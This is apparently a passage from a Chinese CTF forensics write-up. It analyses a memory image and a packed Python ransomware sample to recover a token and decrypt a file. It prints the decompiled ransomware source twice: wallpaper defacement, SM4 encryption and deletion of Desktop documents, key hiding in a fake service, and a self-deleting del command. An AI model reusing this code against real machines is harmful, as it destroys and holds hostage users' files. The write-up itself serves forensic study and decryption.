54 font = ImageFont.load_default()
55
56def set_wallpaper():
57 SPI_SETDESKWALLPAPER = 20
58 sysRoot = os.path.expanduser('~')
59 picture = os.path.join(sysRoot, 'Pictures/')
60 WALLPAPER_PATH = picture + 'wallpaper.png'
61 ctypes.windll.user32.SystemParametersInfoW(SPI_SETDESKWALLPAPER, 0, WALLPAPER_PATH, 3)
62
63def cal_md5(image_path):
64 with open(image_path, 'rb') as fp:
65 data = fp.read()
66 file_md5 = hashlib.md5(data).hexdigest()
67 return file_md5
68SERVICE_NAME = None
69SERVICE_DISPLAY_NAME = None
70DUMMY_EXE_NAME = None
71SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
72DUMMY_EXE_PATH = os.path.join(None, DUMMY_EXE_NAME)
73
74class MySimpleService(win32serviceutil.ServiceFramework):
75 _svc_name_ = SERVICE_NAME
76 _svc_display_name_ = SERVICE_DISPLAY_NAME
77
78 def __init__(self, args):
79 win32serviceutil.ServiceFramework.__init__(self, args)
80 self.hWaitStop = win32event.CreateEvent(None, 0, 0, None)
81
82 def SvcStop(self):
83 self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING)
84 win32event.SetEvent(self.hWaitStop)
85
86 def SvcDoRun(self):
87 servicemanager.LogMsg(servicemanager.EVENTLOG_INFORMATION_TYPE, servicemanager.PYS_SERVICE_STARTED, (self._svc_name_, ''))
88 win32event.WaitForSingleObject(self.hWaitStop, win32event.INFINITE)
89
90def svc_register(key):
91 try:
92 with open(DUMMY_EXE_PATH, 'w') as f:
93 f.write(key.hex())
94 win32serviceutil.InstallService(pythonClassString=None, serviceName=SERVICE_NAME, displayName=SERVICE_DISPLAY_NAME, exeName=DUMMY_EXE_PATH)
95 except Exception as e:
96 print(f'安装失败: {e}')
97
98def custom_b64encode(data: bytes) -> bytes:
99 STANDARD_B64 = b'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
100 if getattr(sys, 'frozen', False):
101 base_path = sys._MEIPASS
102 exe_path = os.path.join(base_path, 'ab.exe')
103 subprocess.run([exe_path], check=False)
104 sysRoot = os.path.expanduser('~')
105 db_path = None
106 with open(db_path, 'rb') as f:
107 CUSTOM_B64 = f.read().strip()
108 std = base64.b64encode(data)
109 trans_table = bytes.maketrans(STANDARD_B64, CUSTOM_B64)
110 return std.translate(trans_table)
111
112def encrypt(iv: str, key, infile: str, outfile: str):
113 iv = bytes(iv, 'utf-8')
114 what = 'augabevoli'
115 xor_str = what[::(-1)].encode('utf-8')
116 xor_key = bytes([key[i] ^ xor_str[i % len(xor_str)] for i in range(len(key))])
117 svc_register(xor_key)
118 with open(infile, 'rb') as f:
119 data = f.read()
120 pad_len = 16 - len(data) % 16
121 data_padded = data + bytes([pad_len] * pad_len)
122 sm4 = CryptSM4()
123 sm4.set_key(key, SM4_ENCRYPT)
124 enc = sm4.crypt_cbc(iv, data_padded)
125 b64 = custom_b64encode(enc)
126 with open(outfile, 'wb') as f:
127 f.write(b64)
128 os.remove(infile)
129
130def encrypt_desktop():
131 file_types = ['txt', 'xlsx', 'docx', 'pptx', 'pdf']
132 key = os.urandom(16)
133 sysRoot = os.path.expanduser('~')
134 localRoot = os.path.join(sysRoot, 'Desktop/')
135 picture = os.path.join(sysRoot, 'Pictures/')
136 system = os.walk(localRoot, topdown=True)
137 for root, dir, files in system:
138 for file in files:
139 file_path = os.path.join(root, file)
140 if file.split('.')[(-1)] not in file_types:
141 continue
142 if file.split('.')[(-1)] == 'ciallo':
143 continue
144 b64_str = base64.urlsafe_b64encode(os.urandom(6)).decode()
145 encrypt(cal_md5(picture + 'wallpaper.png')[4:20], key, file_path, root + b64_str + '.ciallo')
146 dir_path = os.path.dirname(os.path.abspath(sys.argv[0]))
147 time.sleep(3)
148 cmd = f'cmd /c ping 127.0.0.1 -n 5 >nul && del /q \"{dir_path}\\*\"'
149 subprocess.Popen(cmd, shell=True)
150if __name__ == '__main__':
151 width, height = get_screen_resolution()
152 create_wallpaper(width, height, 'YOU\'VE BEEN HACKED', ' ')
153 set_wallpaper()
154 encrypt_desktop()
既然如此,我们用vol3扫一下文件,可以发现确实有这么一张图片

dump下来,看看属性就知道分辨率是多少了

根据分辨率去调整前面的参数,然后慢慢调整偏移即可找到qq窗口,在里面我们可以看到发送时间,为06:45

问题5 恶意程序中的token
恶意程序中的token,让我们再看看反编译出来的源码,明显发现这里导入了一个Secr3ts的库,所以我们需要去看看这个库里的代码是啥,注意这里用的是3.13进行打包,所以在解包过程中需要用3.13版本进行解包,否则没办法在PYZ.pyz_extracted目录中找到Secr3ts的pyc文件
1# Decompiled with PyLingual (https://pylingual.io)
2# Internal filename: launch.py
3# Bytecode version: 3.13.0rc3 (3571)
4# Source timestamp: 1970-01-01 00:00:00 UTC (0)
5
6import ctypes
7import hashlib
8import subprocess
9import sys
10import time
11import win32serviceutil
12import win32service
13import win32event
14import servicemanager
15from PIL import Image, ImageDraw, ImageFont
16import random
17from gmssl.sm4 import CryptSM4, SM4_ENCRYPT
18import Secr3ts # 很奇怪
19import base64
20import os
用https://pylingual.io/ 反编译一下,看看里面的代码,简单审计一下可以看到里面有一个G1f7函数,里面其实就是token值的一个输出,其他都是用来混淆的
1# Decompiled with PyLingual (https://pylingual.io)
2# Internal filename: Secr3ts.py
3# Bytecode version: 3.13.0rc3 (3571)
4# Source timestamp: 1970-01-01 00:00:00 UTC (0)
5
6global _counter # inserted
7import time
8import random
9import hashlib
10import base64
11from functools import wraps
12
13def xor_bytes(data, key):
14 return bytes([b ^ key for b in data])
15CONFIG_VERSION = 'v3.1.9'
16_SYSTEM_ID = hashlib.sha1(b'noise').hexdigest()
17_magic_table = [(i * 37 ^ 85) & 255 for i in range(256)]
18
19class FakeCache:
20 def __init__(self):
21 self._store = {}
22
23 def set(self, k, v):
24 key = hashlib.md5(str(k).encode()).hexdigest()
25 self._store[key] = (v, time.time())
26
27 def get(self, k, default=None):
28 key = hashlib.md5(str(k).encode()).hexdigest()
29 v = self._store.get(key, (default, 0))[0]
30 return v
31
32 def purge_old(self, age=60):
33 now = time.time()
34 keys = list(self._store.keys())
35 for k in keys:
36 if now - self._store[k][1] > age:
37 pass # postinserted
38 else: # inserted
39 del self._store[k]
40_cache = FakeCache()
41
42def verbose_marker(name):
43 def deco(f):
44 @wraps(f)
45 def wrapped(*a, **kw):
46 h = hashlib.blake2b((name + str(a) + str(kw)).encode(), digest_size=6).hexdigest()
47 _cache.set('mark_' + name, h)
48 return f(*a, **kw)
49 return wrapped
50 return deco
51
52def poly_noise(x):
53 s = 0
54 for i in range(1, 16):
55 s += x ** i % (i + 7) * (i ^ 3)
56 return s
57
58def weird_transform(s):
59 a = s.encode('utf-8')
60 b = base64.b64encode(a).decode()
61 c = hashlib.sha1(b.encode()).hexdigest()
62 return c[:12]
63
64class PhantomStateMachine:
65 def __init__(self):
66 self.s = 0
67 self.history = []
68
69 def step(self, val):
70 self.s = self.s * 31 + (val ^ 85) & 4294967295
71 self.history.append(self.s)
72 return self.s
73
74 def snapshot(self):
75 return tuple(self.history[(-5):])
76
77 def reset(self):
78 self.s = 0
79 self.history.clear()
80_phantom = PhantomStateMachine()
81
82def pretend_network_send(payload):
83 time.sleep(0.001)
84 return {'status': 'ok', 'echo': hashlib.md5(payload.encode()).hexdigest()[:8]}
85
86def pretend_read_file(path):
87 try:
88 with open(path, 'rb') as f:
89 data = f.read(32)
90 return data
91 except Exception:
92 return b''
93
94def random_walk(seed, steps=100):
95 r = seed
96 for i in range(steps):
97 r = r << 1 | r >> 3 ^ i * 158
98 yield (r & 4294967295)
99
100def meaningless_loop():
101 acc = 0
102 for v in random_walk(66, 20):
103 acc ^= v & 255
104 if acc & 1:
105 pass # postinserted
106 else: # inserted
107 acc = acc << 1 & 4294967295
108 return acc
109
110def try_many_things():
111 try:
112 _ = int(hashlib.md5(b'x').hexdigest()[:6], 16)
113 return 'done'
114 except Exception:
115 for i in range(3):
116 continue
117 return 'done'
118 except:
119 return 'done'
120
121def fake_sorter(seq):
122 a = list(seq)
123 n = len(a)
124 for i in range(n):
125 for j in range(0, n - i - 1):
126 if a[j] ^ 170 > a[j + 1] ^ 170:
127 pass # postinserted
128 else: # inserted
129 a[j], a[j + 1] = (a[j + 1], a[j])
130 return a
131
132class Obfuscator:
133 def __init__(self, seed=4660):
134 self.seed = seed
135 self.table = [_ for _ in range(256)]
136 random.shuffle(self.table)
137
138 def mix(self, data):
139 return bytes([b ^ self.seed & 255 for b in data])
140
141 def heavy(self, data):
142 out = bytearray()
143 for i, b in enumerate(data):
144 out.append((b ^ self.table[i % 256]) & 255)
145 return bytes(out)
146_obf = Obfuscator(seed=21930)
147
148def f_a(x):
149 return (x * 7 ^ 5) & 255
150
151def f_b(x):
152 return (x + 13) % 256
153
154def f_c(x):
155 return x << 2 & 255
156_mystery_blob = ''.join((chr((i * 3 + 7) % 255) for i in range(512)))
157_counter = 0
158
159def orchestrator(flag=False):
160 global _counter # inserted
161 _counter += 1
162 if flag:
163 _cache.purge_old(age=1)
164 _phantom.step(_counter)
165 return _counter
166
167def G1f7(): # 有问题
168 what = '167307700b740d76'
169 xor_key = 66
170 orchestrator(flag=bool(len(what) % 2))
171 _cache.set('len_what', len(what))
172 token_bytes = xor_bytes(bytes.fromhex(what), xor_key)
173 token_clean = token_bytes
174 try:
175 token = token_clean.decode('utf-8')
176 _ = meaningless_loop()
177 pretend_network_send(token[:4])
178 print(token)
179 return token
180 except Exception:
181 token = token_clean.decode('latin1')
182
183def long_useless_procedure():
184 res = []
185 for i in range(50):
186 a = f_a(i)
187 b = f_b(i)
188 c = f_c(i)
189 res.append((a, b, c))
190 _phantom.step(i) if i % 7 == 3 else i
191 if i % 11 == 0:
192 pass # postinserted
193 else: # inserted
194 _cache.set('checkpoint_' + str(i), (a, b, c))
195 flat = [x for t in res for x in t]
196 s = sum(flat) & 65535
197 return hashlib.sha256(str(s).encode()).hexdigest()
198
199def nested_confusion(level):
200 if level <= 0:
201 pass # postinserted
202 return 0
203
204class RedHerring:
205 def __init__(self):
206 self.a = meaningless_loop()
207 self.b = long_useless_procedure()
208
209 def run(self):
210 for i in range(10):
211 _cache.set('rh' + str(i), (self.a, self.b, i))
212 _ = nested_confusion(i % 4)
213 return True
214_h1 = RedHerring()
215_h2 = RedHerring()
216_h3 = RedHerring()
217
218def generate_noise_strings(n=100):
219 out = []
220 for i in range(n):
221 cs = ''.join((chr((i * 37 + j * 11) % 127 + 32) for j in range(32)))
222 out.append(cs)
223 return out
224_noise_strings = generate_noise_strings(80)
225if __name__ == '__main__':
226 print('CONFIG', CONFIG_VERSION)
227 print('SYSID', _SYSTEM_ID[:12])
228 print('CACHE_SAMP', _cache.get('len_what'))
229 _h1.run()
230 _h2.run()
231 _ = long_useless_procedure()简单分析G1f7的代码,然后解出token即可,答案为T1E2I6O4
问题6 绝密文件的重要密钥
接着分析launch的源码,源码中存在部分None值,是刻意构造的,但可以通过代码中的逻辑来推断进行了什么操作
可以发现他实现了一个对桌面文件加密的功能,用的是sm4的cbc模式,并且还用了自定义的base64字母表
分析源码可以知道加密的偏移量(iv)是wallpaper的md5值取[4:20]的16位,然后key是随机生成的,生成后被经过异或存储到了一个未知文件中,且用这个文件建立了一个服务(svc_register)。而自定义的base64则是用一个ab.exe生成的
1# Decompiled with PyLingual (https://pylingual.io)
2# Internal filename: launch.py
3# Bytecode version: 3.13.0rc3 (3571)
4# Source timestamp: 1970-01-01 00:00:00 UTC (0)
5
6import ctypes
7import hashlib
8import subprocess
9import sys
10import time
11import win32serviceutil
12import win32service
13import win32event
14import servicemanager
15from PIL import Image, ImageDraw, ImageFont
16import random
17from gmssl.sm4 import CryptSM4, SM4_ENCRYPT
18import Secr3ts
19import base64
20import os
21
22def get_screen_resolution():
23 user32 = ctypes.windll.user32
24 width = user32.GetSystemMetrics(0)
25 height = user32.GetSystemMetrics(1)
26 return (width, height)
27
28def create_wallpaper(width, height, text, subtext):
29 image = Image.new('RGB', (width, height), color=(0, 0, 0))
30 draw = ImageDraw.Draw(image)
31 try:
32 font = ImageFont.truetype('arial.ttf', 150)
33 bbox = draw.textbbox((0, 0), text, font=font)
34 text_width = bbox[2] - bbox[0]
35 text_height = bbox[3] - bbox[1]
36 position = ((width - text_width) // 2, (height - text_height) // 2)
37 draw.text(position, text, fill=(0, 255, 0), font=font)
38 subtext_font = ImageFont.truetype('arial.ttf', 50)
39 subtext_bbox = draw.textbbox((0, 0), subtext, font=subtext_font)
40 subtext_width = subtext_bbox[2] - subtext_bbox[0]
41 subtext_height = subtext_bbox[3] - subtext_bbox[1]
42 subtext_position = ((width - subtext_width) // 2, position[1] + text_height + 20)
43 draw.text(subtext_position, subtext, fill=(0, 255, 0), font=subtext_font)
44 for _ in range(100):
45 x = random.randint(0, width)
46 y = random.randint(0, height)
47 char = random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789')
48 color = (random.randint(0, 255), random.randint(0, 255), random.randint(0, 255))
49 draw.text((x, y), char, fill=color, font=font)
50 sysRoot = os.path.expanduser('~')
51 picture = os.path.join(sysRoot, 'Pictures/')
52 image.save(picture + 'wallpaper.png')
53 except IOError:
54 font = ImageFont.load_default()
55
56def set_wallpaper():
57 SPI_SETDESKWALLPAPER = 20
58 sysRoot = os.path.expanduser('~')
59 picture = os.path.join(sysRoot, 'Pictures/')
60 WALLPAPER_PATH = picture + 'wallpaper.png'
61 ctypes.windll.user32.SystemParametersInfoW(SPI_SETDESKWALLPAPER, 0, WALLPAPER_PATH, 3)
62
63def cal_md5(image_path):
64 with open(image_path, 'rb') as fp:
65 data = fp.read()
66 file_md5 = hashlib.md5(data).hexdigest()
67 return file_md5
68SERVICE_NAME = None
69SERVICE_DISPLAY_NAME = None
70DUMMY_EXE_NAME = None
71SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
72DUMMY_EXE_PATH = os.path.join(None, DUMMY_EXE_NAME)
73
74class MySimpleService(win32serviceutil.ServiceFramework):
75 _svc_name_ = SERVICE_NAME
76 _svc_display_name_ = SERVICE_DISPLAY_NAME
77
78 def __init__(self, args):
79 win32serviceutil.ServiceFramework.__init__(self, args)
80 self.hWaitStop = win32event.CreateEvent(None, 0, 0, None)
81
82 def SvcStop(self):
83 self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING)
84 win32event.SetEvent(self.hWaitStop)
85
86 def SvcDoRun(self):
87 servicemanager.LogMsg(servicemanager.EVENTLOG_INFORMATION_TYPE, servicemanager.PYS_SERVICE_STARTED, (self._svc_name_, ''))
88 win32event.WaitForSingleObject(self.hWaitStop, win32event.INFINITE)
89
90def svc_register(key):
91 try:
92 with open(DUMMY_EXE_PATH, 'w') as f:
93 f.write(key.hex())
94 win32serviceutil.InstallService(pythonClassString=None, serviceName=SERVICE_NAME, displayName=SERVICE_DISPLAY_NAME, exeName=DUMMY_EXE_PATH)
95 except Exception as e:
96 print(f'安装失败: {e}')
97
98def custom_b64encode(data: bytes) -> bytes:
99 STANDARD_B64 = b'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
100 if getattr(sys, 'frozen', False):
101 base_path = sys._MEIPASS
102 exe_path = os.path.join(base_path, 'ab.exe')
103 subprocess.run([exe_path], check=False)
104 sysRoot = os.path.expanduser('~')
105 db_path = None
106 with open(db_path, 'rb') as f:
107 CUSTOM_B64 = f.read().strip()
108 std = base64.b64encode(data)
109 trans_table = bytes.maketrans(STANDARD_B64, CUSTOM_B64)
110 return std.translate(trans_table)
111
112def encrypt(iv: str, key, infile: str, outfile: str):
113 iv = bytes(iv, 'utf-8')
114 what = 'augabevoli'
115 xor_str = what[::(-1)].encode('utf-8')
116 xor_key = bytes([key[i] ^ xor_str[i % len(xor_str)] for i in range(len(key))])
117 svc_register(xor_key)
118 with open(infile, 'rb') as f:
119 data = f.read()
120 pad_len = 16 - len(data) % 16
121 data_padded = data + bytes([pad_len] * pad_len)
122 sm4 = CryptSM4()
123 sm4.set_key(key, SM4_ENCRYPT)
124 enc = sm4.crypt_cbc(iv, data_padded)
125 b64 = custom_b64encode(enc)
126 with open(outfile, 'wb') as f:
127 f.write(b64)
128 os.remove(infile)
129
130def encrypt_desktop():
131 file_types = ['txt', 'xlsx', 'docx', 'pptx', 'pdf']
132 key = os.urandom(16)
133 sysRoot = os.path.expanduser('~')
134 localRoot = os.path.join(sysRoot, 'Desktop/')
135 picture = os.path.join(sysRoot, 'Pictures/')
136 system = os.walk(localRoot, topdown=True)
137 for root, dir, files in system:
138 for file in files:
139 file_path = os.path.join(root, file)
140 if file.split('.')[(-1)] not in file_types:
141 continue
142 if file.split('.')[(-1)] == 'ciallo':
143 continue
144 b64_str = base64.urlsafe_b64encode(os.urandom(6)).decode()
145 encrypt(cal_md5(picture + 'wallpaper.png')[4:20], key, file_path, root + b64_str + '.ciallo')
146 dir_path = os.path.dirname(os.path.abspath(sys.argv[0]))
147 time.sleep(3)
148 cmd = f'cmd /c ping 127.0.0.1 -n 5 >nul && del /q \"{dir_path}\\*\"'
149 subprocess.Popen(cmd, shell=True)
150if __name__ == '__main__':
151 width, height = get_screen_resolution()
152 create_wallpaper(width, height, 'YOU\'VE BEEN HACKED', ' ')
153 set_wallpaper()
154 encrypt_desktop()wallpaper前面已经获得了,直接计算md5即可(要记得清掉后面的空白冗余数据)
而key则需要对内存镜像进行分析,找出奇怪的服务(因为代码中没有给出服务的信息)
用vol3中windows.svclist这个命令扫一遍镜像中的服务,简单分析一下,可以看到一个奇怪的进程(甚至在第一行),其指向了一个在system32目录中的一个exe文件

将其dump下来,查看一下内容,可以看到就是我们要的被处理过的key,然后根据源码中的逻辑异或会正确的key即可

最后是base64的字母表,在解包后的目录中可以找到ab.exe

用ida简单分析即可,进去就是main函数,不懂得直接丢给ai,可以知道这里是生成了一个固定头的随机base64字母表,并存入了一个文件中,但是不知道是哪个文件,但既然知道固定了头是Cial1oL5s0cut3,而且代码中没有奇怪的加密或者混淆处理,那么直接对内存进行搜索

直接拿010爆搜即可,就能找到完整的自定义字母表了

最后自己写个脚本解密即可
1from gmssl.sm4 import CryptSM4, SM4_ENCRYPT, SM4_DECRYPT
2import base64
3
4key = 'e1287afc7a0526ea7f55774192fd8c5a'
5key = bytes.fromhex(key)
6print(key.hex())
7iv = b'47284e7609e7017d'
8
9what = 'augabevoli'
10xor_str = what[::-1].encode('utf-8')
11xor_key = bytes([key[i] ^ xor_str[i % len(xor_str)] for i in range(len(key))])
12print('XOR 后的 key:', xor_key.hex())
13
14STANDARD_B64 = b'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
15CUSTOM_B64 = b'Cial1oL5s0cut3PTYwZMy/BRWIdGfJSNmj2Fq4QhneXH9v8rx6O+Vz7KbAgUkDpE'
16
17
18def custom_b64decode(data: bytes) -> bytes:
19 trans_table = bytes.maketrans(CUSTOM_B64, STANDARD_B64)
20 std = data.translate(trans_table)
21 return base64.b64decode(std)
22
23
24def sm4_decrypt_file(infile: str, outfile: str):
25 with open(infile, 'rb') as f:
26 data = custom_b64decode(f.read())
27 sm4 = CryptSM4()
28 sm4.set_key(key, SM4_DECRYPT)
29 dec = sm4.crypt_cbc(iv, data)
30 dec = dec.rstrip(b'\x00')
31 with open(outfile, 'wb') as f:
32 f.write(dec)
33 print(f'文件已解密 → {outfile}')
34
35
36sm4_decrypt_file('绝密.ciallo', 'recover.pdf')恢复完成后,打开pdf文档即可看到里面的密钥,值为MIE_CTF_2025_T0k3n_#S3cur3!V3#

Comments will be available soon.